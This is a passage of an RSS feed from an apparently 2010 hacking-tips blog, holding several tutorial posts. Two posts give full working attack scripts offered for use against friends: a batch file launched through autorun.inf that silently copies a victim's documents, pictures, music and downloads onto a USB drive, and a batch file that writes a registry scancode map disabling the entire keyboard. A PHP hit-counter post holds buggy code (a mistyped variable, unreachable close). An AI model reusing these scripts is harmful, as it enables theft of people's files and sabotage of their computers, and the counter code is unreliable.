		<pubDate>Tue, 29 Jun 2010 13:32:33 +0000</pubDate>
		<dc:creator>Suraj Kayastha</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://hackspc.com/?p=5653</guid>
		<description><![CDATA[Today, I will show you how you can use php&#8217;s file handling functions to create a web site page visit counter.
The script that we are going to create will open a file when called and read the value of the file then increment the value by one and then write that value to the file. [...]]]></description>
			<content:encoded><![CDATA[<p>Today, I will show you how you can use php&#8217;s file handling functions to create a web site page visit counter.<br />
The script that we are going to create will open a file when called and read the value of the file then increment the value by one and then write that value to the file.  We&#8217;re going to put the actual code inside a function so that way you can call the script on your page with only one line of code.<span id="more-5653"></span></p>
<p>Now let’s begin. In order to open a text file in php, we need to call the function fopen(). This will open the file, if it exists, and return a file pointer. Instead of using the file name, you pass a file pointer to functions. Here is the beginning of our code:</p>
<blockquote><p><code>&lt;?php<br />
function count_hit()<br />
{<br />
$file_pointer= fopen("hit.txt", "r+");</code></p></blockquote>
<p>In the above script, we declared a function by using the keyword function followed by the name of our function. Next, we used fopen() passing the name of a file in the same directory as the script where the page visits data will be stored as the first parameter; we then passed the second parameter r+, this tells the server that we want to open the hit.txt file for reading and writing. For more details about text file handling parameters, please review my previous tutorial about PHP and txt file interaction.<br />
We must create a blank text file named as hit.txt in the directory where the current script is situated.<br />
fopen() can take one more parameter: 1. If you pass the third parameter as 1, the file you passed the name of in the first parameter will be searched for in the include path.  We store the result of fopen() in a variable named $file_pointer. If the file does not exist, fopen() will return false. Therefore we’ll need hit.txt initially.</p>
<blockquote><p><code>if ($file_pointer == false)<br />
{<br />
return "Error:File not found or could not be opened!";<br />
exit;<br />
}<br />
</code></p></blockquote>
<p>Now since file is opened, we’ll need to read the file, to do so, we’ll use function fread().</p>
<blockquote><p><code>$hit= fread($file_pointer, filesize("hit.txt"));</code></p></blockquote>
<p>The syntax for fread is (file open, filesize). To get the file open we’ll be using $file_pointer string and to get the size of the file we use the filesize(“filename.txt”) function. Now the contents of the file are stored in a variable with the name $hit. We will use the trim() function to strip any whitespace from the beginning and ending of the string.</p>
<blockquote><p><code>$hit= trim($hit);</code></p></blockquote>
<p>Trim will remove all the blank white spaces if exists, this will be helpful to maintain the file size and unexpected results. Now we have read the contents of the file into a variable and trimed up the variable, we will increase it’s value by 1 per hit, and write it back into the file. Before we write to the file, we need to go back to the begining of the file so we can write over the current count. We do this by using fseek().</p>
<blockquote><p><code>$his++;<br />
fseek($file_pointer, 0);<br />
$result= fwrite($file_pointer, $hit);<br />
if ($result == false)<br />
{<br />
return "Error: could unable to write file!";<br />
exit;<br />
}<br />
else {<br />
return $hit;<br />
}</code></p></blockquote>
<p>We use the increment operator (++) to add 1 to the hit count, then we use fwrite() function to write to the file. We then pass the file pointer and the hit count to fwrite(). If it returns false, the it will show error message. Lastly, we return the value of $hit, which holds the hit count.<br />
Now we’ll need to close the file after reading and writing it. To do that we use fclose() and pass it the file pointer, and also we’ll add some error checking.</p>
<blockquote><p><code>$close= fclose($file_pointer);<br />
if ($close == false)<br />
{<br />
return "Error: could not close the file!";<br />
exit;<br />
} </code></p></blockquote>
<p>And that&#8217;s all, we&#8217;re done! Here is the complete script for a hit counter:</p>
<blockquote><p><code>&lt;?php</p>
<p>function count_hit()</p>
<p>{</p>
<p>$file_pointer= fopen("hits.txt", "r+");</p>
<p>if ($file_pointer == false)</p>
<p>{</p>
<p>return "Error: could not open the file! It may not exist!";</p>
<p>exit;</p>
<p>}</p>
<p>$hits= fread($file_pointer, filesize("hits.txt"));</p>
<p>$hits= trim($hits);</p>
<p>$hits++;</p>
<p>fseek($file_pointer, 0);</p>
<p>$result= fwrite($file_pointer, $hits);</p>
<p>if ($result == false)</p>
<p>{</p>
<p>return "Error: could not write to the file!";</p>
<p>exit;</p>
<p>}</p>
<p>else {</p>
<p>return $hits;</p>
<p>}</p>
<p>$close= fclose($file_pointer);</p>
<p>if ($close == false)</p>
<p>{</p>
<p>echo "Error: could not close the file!";</p>
<p>exit;</p>
<p>}</p>
<p>}</p>
<p>?&gt;</code></p></blockquote>
<p>Now to display the hit on a webpage by adding following code snippet:</p>
<blockquote><p><code>&lt;?php echo count_hit( ); ?&gt;</code></p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://hackspc.com/learn-to-create-your-own-php-page-hit-counter/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hide And Secure Your Folder Using Batch Script</title>
		<link>http://hackspc.com/hide-and-secure-your-folder-using-batch-script/</link>
		<comments>http://hackspc.com/hide-and-secure-your-folder-using-batch-script/#comments</comments>
		<pubDate>Tue, 15 Jun 2010 16:06:58 +0000</pubDate>
		<dc:creator>Ivan</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Batch Scripting]]></category>
		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://hackspc.com/?p=5523</guid>
		<description><![CDATA[Batch script helps to combine the DOS commands and execute it in complex and well arranged mode. Any command that can be executed or typed in DOS(Command prompt) window can be executed and programmed using batch script. In today’s post I am going to utilize the loophole of windows.
Windows unknowingly supplies the following virtual folders:
Control [...]]]></description>
			<content:encoded><![CDATA[<p>Batch script helps to combine the DOS commands and execute it in complex and well arranged mode. Any command that can be executed or typed in DOS(Command prompt) window can be executed and programmed using batch script. In today’s post I am going to utilize the loophole of windows.<span id="more-5523"></span></p>
<p>Windows unknowingly supplies the following virtual folders:</p>
<blockquote><p><code>Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}</code></p>
<p><code>Dial-Up Networking.{992CFFA0-F557-101A-88EC-00DD010CCC48}</code></p>
<p><code>Printers.{2227A280-3AEA-1069-A2DE-08002B30309D}</code></p>
<p><code>Inbox.{00020D75-0000-0000-C000-000000000046}</code></p>
<p><code>My Computer.{20D04FE0-3AEA-1069-A2D8-08002B30309D}</p>
<p>Recycle Bin.{645FF040-5081-101B-9F08-00AA002F954E}</p>
<p>Network Neighborhood.{208D2C60-3AEA-1069-A2D7-08002B30309D}</p>
<p>Desktop.{00021400-0000-0000-C000-000000000046}</p>
<p>Briefcase.{85BBD920-42A0-1069-A2E4-08002B30309D}</p>
<p></code><code>Fonts.{BD84B380-8CA2-1069-AB1D-08000948F534</code>}</p></blockquote>
<p>Whenever you rename your folder with any of the above name and supply hidden and system folder attributes to it, it becomes completely invisible and inaccessible also in index-able by windows search.</p>
<p>For example rename NEW FOLDER to “’<em>Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D</em>}” (without quotes).</p>
<p><a href="http://hackspc.com/wp-content/uploads/2010/06/a5.jpg"><img class="aligncenter size-full wp-image-5525" src="http://hackspc.com/wp-content/uploads/2010/06/a5.jpg" alt="" width="118" height="126" /></a></p>
<p style="text-align: center"><a href="http://hackspc.com/wp-content/uploads/2010/06/b4.jpg"><img class="aligncenter size-full wp-image-5526" src="http://hackspc.com/wp-content/uploads/2010/06/b4.jpg" alt="" width="535" height="207" /></a></p>
<p style="text-align: left">Now open Command prompt and open the currently renamed New Folder. Set the attributes to +h +s +i</p>
<p>H=Hidden</p>
<p>S=System File</p>
<p>I=Un-indexed</p>
<p>To set attributes input the following syntax (see the image).</p>
<p style="text-align: left"><a href="http://hackspc.com/wp-content/uploads/2010/06/c2.jpg"><img class="aligncenter size-full wp-image-5527" src="http://hackspc.com/wp-content/uploads/2010/06/c2.jpg" alt="" width="481" height="191" /></a></p>
<p style="text-align: left">There you go, your folder is invisible now and inaccessible.</p>
<p style="text-align: center"><a href="http://hackspc.com/wp-content/uploads/2010/06/d3.jpg"><img class="aligncenter size-full wp-image-5528" src="http://hackspc.com/wp-content/uploads/2010/06/d3.jpg" alt="" width="448" height="177" /></a></p>
<p>The above tutorial was just for demonstration. Now I am going to show you how you can arrange it in batch file so that you show and hide the folder just by double clicking a secret icon.</p>
<p>Follow and learn this step by step tutorial.</p>
<p>NOTE:  Just copying and pasting codes won’t make you a good batch scripter, you’ll have to learn and modify the techniques used in them.</p>
<p>First of all let’s plan for the script. What the script must do is check if folder named “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}&#8221; exists or not. If it exists then we’ll have to direct our program such a way that it will prompt to show or hide the folder. Otherwise if the folder doesn’t exists let the program create new folder with any name (say “Secured”)</p>
<p>The above idea can be formulated in this way:</p>
<blockquote><p><code>if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK</code></p>
<p><code> </code><code>if NOT EXIST secured goto MDLOCKER</code></p></blockquote>
<p>If there is no matching folder then as soon as the program is executed secured folder will be created. Where MDLOCKER is the separate case (block of code) to create new folder named secured. This time the folder named secured will be visible to everyone. The program will instantly close as creating new folder won’t take much time.</p>
<p>Now you can copy your secret files and documents in the folder named Secured.</p>
<p>After copying we’ll have to hide it and make it invisible. To do so, we’ll rename secured folder to Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D} and supply the attributes to it. This is the main aim of this script.</p>
<blockquote><p><code>ren secured "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"</code></p>
<p><code> </code><code>attrib +h +s +r +i "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"</code></p></blockquote>
<p>The above code is nothing but our friendly DOS command. When you execute it, you know what it will do.</p>
<p>Now we’ll have to code something to make it visible again. We can do this by reversing the above script. To remove attributes from the folder “-“ is used instead of “+”. And the Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D} folder will be renamed to secured again.</p>
<blockquote><p><code>attrib -i  -r -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"</p>
<p>ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" secured&lt;/code</p></blockquote>
<p>&gt;</p>
<p>Now the folder it visible and accessible again.</p>
<p>Now you can make this system work with password. Especially the part when user wants to show the folder.</p>
<blockquote><p><code>echo put in the key to Unlock the lock</code></p>
<p><code>set/p "pass=&gt;password"</code></p>
<p><code> </code><code>if NOT %pass%==123456 goto FAIL<br />
</code></p></blockquote>
<p>The above block of code will create the input region for password. The second line confirms the password entry. If password is incorrect program will be directed to condition called FAIL. (You must define condition FAIL separately telling what should it do. You can either exit the program or prompt for second chance to input password.). If password is correct then proceeding codes will be executed.</p>
<p>You can see the properly arranged codes below:</p>
<blockquote><p><code>cls</code></p>
<p><code>@ECHO OFF</code></p>
<p><code>title Folder Locker</code></p>
<p><code>if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK</code></p>
<p><code>if NOT EXIST secured goto MDLOCKER</p>
<p>:CONFIRM</p>
<p>echo Are you sure u want to Lock the secured(Y/S)</p>
<p>set/p "cho=&gt;"</p>
<p>if %cho%==Y goto LOCK</p>
<p>if %cho%==y goto LOCK</p>
<p>if %cho%==n goto END</p>
<p>if %cho%==N goto END</p>
<p>echo Invalid choice.</p>
<p>goto CONFIRM</p>
<p>:LOCK</p>
<p>ren secured "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"</p>
<p>attrib +h +s +r +i "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"</p>
<p>echo secured locked</p>
<p>goto End</p>
<p>:UNLOCK</p>
<p>echo put in the key to Unlock the lock</p>
<p>set/p "pass=&gt;password"</p>
<p>if NOT %pass%==123456 goto FAIL</p>
<p>attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"</p>
<p>ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" secured</p>
<p>echo secured Unlocked</p>
<p>goto End</p>
<p>:FAIL</p>
<p>echo Invalid keyword</p>
<p>goto UNLOCK</p>
<p>:MDLOCKER</p>
<p>md Secured</p>
<p>echo lock unlocked</p>
<p>goto End</p>
<p></code><code>:End</code></p></blockquote>
<p>Copy it to notepad and save it in *.bat format.</p>
<p>NOTE: If you are directly copying the above code then be careful with the quotation marks. Replace all the “ and “ quotes to ".</p>
<p>Hope this tutorial was helpful</p>
]]></content:encoded>
			<wfw:commentRss>http://hackspc.com/hide-and-secure-your-folder-using-batch-script/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Executing Java applications in Palm OS devices</title>
		<link>http://hackspc.com/executing-java-applications-in-palm-os-devices/</link>
		<comments>http://hackspc.com/executing-java-applications-in-palm-os-devices/#comments</comments>
		<pubDate>Sun, 06 Jun 2010 15:20:58 +0000</pubDate>
		<dc:creator>Ivan</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://hackspc.com/?p=5462</guid>
		<description><![CDATA[PalmOne is one of the leading Smartphone company. But most of them doesn&#8217;t supports Java Programs to be executed. While from DVD players to Linux system supports Java interface. You may have great desire to run some specific java programs in your Palm OS device. Well, this news is very old but very useful for [...]]]></description>
			<content:encoded><![CDATA[<p>PalmOne is one of the leading Smartphone company. But most of them doesn&#8217;t supports Java Programs to be executed. While from DVD players to Linux system supports Java interface. You may have great desire to run some specific java programs in your Palm OS device. Well, this news is very old but very useful for those who wants Java emulator for their Palm OS.<br />
<span id="more-5462"></span><br />
<a href="http://hackspc.com/wp-content/uploads/2010/06/palm_one_logo_3032.gif"><img class="size-full wp-image-5461 alignleft" src="http://hackspc.com/wp-content/uploads/2010/06/palm_one_logo_3032.gif" alt="" width="280" height="118" /></a><br />
Java Virtual Machine Micro Environment by IBM WebSphere allows your Palm OS to run Java applications easily. Since, Palm OS is not an ordinary OS, its smarter than any other Cell Phone OS.</p>
<p>This tool actually allows you to convert Jar/Jad files to prc format, so that you can easily use Java based applications in your Palm device.</p>
<p>What can I do from this tool? I can run Opera Mini, Morange, Ebuddy, Games, and many more.</p>
<p>Before January 12, 2008 Palm used to distribute this JVM with License. But Palm no longer has rights to distribute the IBM WebSphere Micro Environment Java Virtual Machine (JVM) to their customers. Therefore it is nearly impossible to find this application over the internet. We are providing this download here for your convenience as we’ve downloaded it years ago and had a backup of it.</p>
<p>Here is a special link to download <a href="http://depositfiles.com/files/0mbjqq2v2">IBM WebSphere Micro Environment Java Virtual Machine 5.7.2.</a></p>
<p>To unzip this file you&#8217;ll need <a href="http://www.7zip.com/">7zip</a></p>
<p>Hope this information was useful.</p>
<p>This is guest post by suraj kayastha where he write about various technology in <a href="http://youcanhack.blogspot.com/">You Can Hack Blog</a> and <a href="http://www.hacktutors.info/">Hacktutors.info</a></p>
]]></content:encoded>
			<wfw:commentRss>http://hackspc.com/executing-java-applications-in-palm-os-devices/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Steal Files From Windows7/Vista To USB Drive</title>
		<link>http://hackspc.com/steal-files-from-windows7vista-to-usb-drive/</link>
		<comments>http://hackspc.com/steal-files-from-windows7vista-to-usb-drive/#comments</comments>
		<pubDate>Tue, 25 May 2010 17:52:04 +0000</pubDate>
		<dc:creator>Ivan</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Batch Scripting]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[windows 7 tweaks]]></category>

		<guid isPermaLink="false">http://hackspc.com/?p=5300</guid>
		<description><![CDATA[Last time I posted a tutorial to copy files from Windows XP. Now if you are sure that your friend&#8217;s PC has later version of Windows then this will surely work for it.

I am going to teach you how you can do this from batch file with the help of autorun.inf file.
Let me tell you [...]]]></description>
			<content:encoded><![CDATA[<p>Last time I posted a tutorial to copy files from Windows XP. Now if you are sure that your friend&#8217;s PC has later version of Windows then this will surely work for it.<br />
<span id="more-5300"></span></p>
<p>I am going to teach you how you can do this from batch file with the help of autorun.inf file.<br />
Let me tell you the basic things what will happen.</p>
<p>When you plug in in your Pen drive, system will look up for autorun.inf (incase if autorun is not disabled for your drive from the system).</p>
<p>Then we’ll input some command in autorun.inf in such a way that it will load the batch file that does the magic of copying all the files from your PC. In this demonstration I am copying only the files and folders in My Documents.</p>
<p>Here goes the batch code:</p>
<blockquote><p><span style="font-family: monospace"> </span></p>
<div>@echo off</div>
<div>:CHECK</div>
<div>if not exist &#8220;%homedrive%\Copied_files&#8221; md &#8220;%homedrive%\Copied_files&#8221;</div>
<div>if exist &#8220;%systemdrive%\files&#8221; goto COPIER7</div>
<div>goto ERROR</div>
<div>:COPIER7</div>
<div>if not exist &#8220;%homedrive%\Copied_files\%computername%&#8221; md &#8220;%homedrive%\Copied_files\%computername%&#8221;</div>
<div>if not exist &#8220;%homedrive%\Copied_files\%computername%\VIDEOS&#8221; md &#8220;%homedrive%\Copied_files\%computername%\VIDEOS&#8221;</div>
<div>if not exist &#8220;%homedrive%\Copied_files\%computername%\PICTURES&#8221; md &#8220;%homedrive%\Copied_files\%computername%\PICTURES&#8221;</div>
<div>if not exist &#8220;%homedrive%\Copied_files\%computername%\MUSIC&#8221; md &#8220;%homedrive%\Copied_files\%computername%\MUSIC&#8221;</div>
<div>if not exist &#8220;%homedrive%\Copied_files\%computername%\DOWNLOADS&#8221; md &#8220;%homedrive%\Copied_files\%computername%\DOWNLOADS&#8221;</div>
<div>copy /y &#8220;%userprofile%\Documents\*.*&#8221; &#8220;%homedrive%\Copied_files\%computername%&#8221;</div>
<div>copy /y &#8220;%userprofile%\Videos&#8221; &#8220;%homedrive%\Copied_files\%computername%\VIDEOS&#8221;</div>
<div>copy /y &#8220;%userprofile%\Music&#8221; &#8220;%homedrive%\Copied_files\%computername%\MUSIC&#8221;</div>
<div>copy /y &#8220;%userprofile%\Pictures&#8221; &#8220;%homedrive%\Copied_files\%computername%\PICTURES&#8221;</div>
<div>copy /y &#8220;%userprofile%\Downloads&#8221; &#8220;%homedrive%\Copied_files\%computername%\DOWNLOADS&#8221;</div>
<div>MSG %username% &#8220;DONE!&#8221;</div>
<div>exit</div>
<div>:ERROR</div>
<div>exit</div>
</blockquote>
<p>What it actually does is in first case ,CHECK, it checks if your removable storage have folder named, Copied_files or not. If it doesn’t have then it creates one by using MD (Make Directory) command.</p>
<p>Again it checks if you have files folder then it will assume that you are using windows Vista/7. Other wise it will return an error and exits.</p>
<p>Now I’ve defined another two cases after the first case CHECK, that is COPIER7 case and ERROR case.</p>
<p>Case COPIER7 will execute when the program recognizes it is Windows Vista/7, where the real copying work goes on.</p>
<p>Case ERROR will execute when the Documents and Settings doesn&#8217;t exists in your system root.</p>
<p>This is just a simple use of Batch programming. Copy the above code and paste it in notepad and save it as Filename.bat.</p>
<p>Now let’s create a file that will load it automatically.</p>
<blockquote><p><code>[autorun]<br />
Open=Filename.bat<br />
Action=File Copier</code></p></blockquote>
<p>The above code goes in autorun.inf file. Open notepad and copy it and paste it and save as autorun.inf.</p>
<p><a href="http://hackspc.com/wp-content/uploads/2010/05/b2.jpg"><img src="http://hackspc.com/wp-content/uploads/2010/05/b2.jpg" alt="" width="297" height="202" /></a></p>
<p>Copy the two files, autorun.inf and Filename.bat in your flash drive.</p>
<p>Then plug in your device to your friends PC and do the evil things.</p>
<p>Where is the flaw?</p>
<p>It shows Command prompt window and process of copying (thank god your noob never think that it actually copying).</p>
<p><a href="http://hackspc.com/wp-content/uploads/2010/05/CWINDOWSsystem32cmd.exe.jpg"><img src="http://hackspc.com/wp-content/uploads/2010/05/CWINDOWSsystem32cmd.exe.jpg" alt="" width="566" height="329" /></a></p>
<p>Another thing is that it determines the windows by searching the file users and Docuemnts and settings, which is not the right way to determine your system operating system.</p>
<p>However this is just an educational tutorial.</p>
<p>Hope this tutorial was helpful.</p>
<p>This is guest post from Suraj Kayastha at <a href="http://hacktutors.blogspot.com/">Hack Tutors</a> and <a href="http://youcanhack.blogspot.com/">YouCanHack</a>. blogs , where he writes about various technology.</p>
]]></content:encoded>
			<wfw:commentRss>http://hackspc.com/steal-files-from-windows7vista-to-usb-drive/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How To Disable The Keyboard Using Batch Script</title>
		<link>http://hackspc.com/how-to-disable-the-keyboard-using-batch-script/</link>
		<comments>http://hackspc.com/how-to-disable-the-keyboard-using-batch-script/#comments</comments>
		<pubDate>Sun, 23 May 2010 14:32:46 +0000</pubDate>
		<dc:creator>Suraj Kayastha</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Batch Scripting]]></category>

		<guid isPermaLink="false">http://hackspc.com/?p=5278</guid>
		<description><![CDATA[Yesterday one of the visitor of our blog, jose, asked,  “how to disable keyboard?”. And instantly I came up with this tutorial, how to disable the keyboard using batch script.
Just copy and paste the code below in notepad and save it as “anything.bat”. What it exactly does is modifies the registry value of keyboard layout [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday one of the visitor of our blog, jose, asked,  “how to disable keyboard?”. And instantly I came up with this tutorial, how to disable the keyboard using batch script.<span id="more-5278"></span></p>
<p>Just copy and paste the code below in notepad and save it as “anything.bat”. What it exactly does is modifies the registry value of keyboard layout of each keys and finally disabling all the keys.</p>
<blockquote><p><code>@echo off<br />
echo Windows Registry Editor Version 5.00 &gt; "nokeyboard.reg"<br />
echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layout] &gt;&gt; "nokeyboard.reg"<br />
echo "Scancode Map"=hex:00,00,00,00,00,00,00,00,7c,00,00,00,00,00,01,00,00,\ &gt;&gt; "nokeyboard.reg"<br />
echo 00,3b,00,00,00,3c,00,00,00,3d,00,00,00,3e,00,00,00,3f,00,00,00,40,00,00,00,\ &gt;&gt; "nokeyboard.reg"<br />
echo 41,00,00,00,42,00,00,00,43,00,00,00,44,00,00,00,57,00,00,00,58,00,00,00,37,\ &gt;&gt; "nokeyboard.reg"<br />
echo e0,00,00,46,00,00,00,45,00,00,00,35,e0,00,00,37,00,00,00,4a,00,00,00,47,00,\ &gt;&gt; "nokeyboard.reg"<br />
echo 00,00,48,00,00,00,49,00,00,00,4b,00,00,00,4c,00,00,00,4d,00,00,00,4e,00,00,\ &gt;&gt; "nokeyboard.reg"<br />
echo 00,4f,00,00,00,50,00,00,00,51,00,00,00,1c,e0,00,00,53,00,00,00,52,00,00,00,\ &gt;&gt; "nokeyboard.reg"<br />
echo 4d,e0,00,00,50,e0,00,00,4b,e0,00,00,48,e0,00,00,52,e0,00,00,47,e0,00,00,49,\ &gt;&gt; "nokeyboard.reg"<br />
echo e0,00,00,53,e0,00,00,4f,e0,00,00,51,e0,00,00,29,00,00,00,02,00,00,00,03,00,\ &gt;&gt; "nokeyboard.reg"<br />
echo 00,00,04,00,00,00,05,00,00,00,06,00,00,00,07,00,00,00,08,00,00,00,09,00,00,\ &gt;&gt; "nokeyboard.reg"<br />
echo 00,0a,00,00,00,0b,00,00,00,0c,00,00,00,0d,00,00,00,0e,00,00,00,0f,00,00,00,\ &gt;&gt; "nokeyboard.reg"<br />
echo 10,00,00,00,11,00,00,00,12,00,00,00,13,00,00,00,14,00,00,00,15,00,00,00,16,\ &gt;&gt; "nokeyboard.reg"<br />
echo 00,00,00,17,00,00,00,18,00,00,00,19,00,00,00,1a,00,00,00,1b,00,00,00,2b,00,\ &gt;&gt; "nokeyboard.reg"<br />
echo 00,00,3a,00,00,00,1e,00,00,00,1f,00,00,00,20,00,00,00,21,00,00,00,22,00,00,\ &gt;&gt; "nokeyboard.reg"<br />
echo 00,23,00,00,00,24,00,00,00,25,00,00,00,26,00,00,00,27,00,00,00,28,00,00,00,\ &gt;&gt; "nokeyboard.reg"<br />
echo 1c,00,00,00,2a,00,00,00,2c,00,00,00,2d,00,00,00,2e,00,00,00,2f,00,00,00,30,\ &gt;&gt; "nokeyboard.reg"<br />
echo 00,00,00,31,00,00,00,32,00,00,00,33,00,00,00,34,00,00,00,35,00,00,00,36,00,\ &gt;&gt; "nokeyboard.reg"<br />
echo 00,00,1d,00,00,00,5b,e0,00,00,38,00,00,00,39,00,00,00,38,e0,00,00,5c,e0,00,\ &gt;&gt; "nokeyboard.reg"<br />
echo 00,5d,e0,00,00,1d,e0,00,00,5f,e0,00,00,5e,e0,00,00,22,e0,00,00,24,e0,00,00,\ &gt;&gt; "nokeyboard.reg"<br />
echo 10,e0,00,00,19,e0,00,00,30,e0,00,00,2e,e0,00,00,2c,e0,00,00,20,e0,00,00,6a,\ &gt;&gt; "nokeyboard.reg"<br />
echo e0,00,00,69,e0,00,00,68,e0,00,00,67,e0,00,00,42,e0,00,00,6c,e0,00,00,6d,e0,\ &gt;&gt; "nokeyboard.reg"<br />
echo 00,00,66,e0,00,00,6b,e0,00,00,21,e0,00,00,00,00 &gt;&gt; "nokeyboard.reg"<br />
start nokeyboard.reg</code></p></blockquote>
<p>This will disable the keyboard with no hard work. You can try above code to irritate your friends along with autorun.inf in your USB disk.</p>
<p>Hope this tutorial was helpful.</p>
<p><span style="color: #ff0000">UPDATE: <span style="color: #000000">To disable this go to Start&gt; Run and type </span><strong><span style="color: #000000">regedit . </span></strong><span style="color: #000000">This will open the registry editor. In the left tree explorer, navigate to following place: </span></span></p>
<blockquote><p><span style="color: #000000">HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layout</span></p></blockquote>
<p><span style="color: #000000">Delete the Scancode Map key by simply using right click and delete.</span></p>
<p><span style="color: #ff0000"><span style="color: #000000"><a href="http://hackspc.com/wp-content/uploads/2010/05/asd.jpg"><img class="aligncenter size-full wp-image-5303" src="http://hackspc.com/wp-content/uploads/2010/05/asd.jpg" alt="" width="504" height="77" /></a><br />
</span></span></p>
<p>This is guest post from Suraj Kayastha at <a href="http://hacktutors.blogspot.com/">Hack Tutors</a> and <a href="http://youcanhack.blogspot.com/">YouCanHack</a>. blogs , where he writes about various technology.</p>
]]></content:encoded>
			<wfw:commentRss>http://hackspc.com/how-to-disable-the-keyboard-using-batch-script/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
	</channel>
</rss>
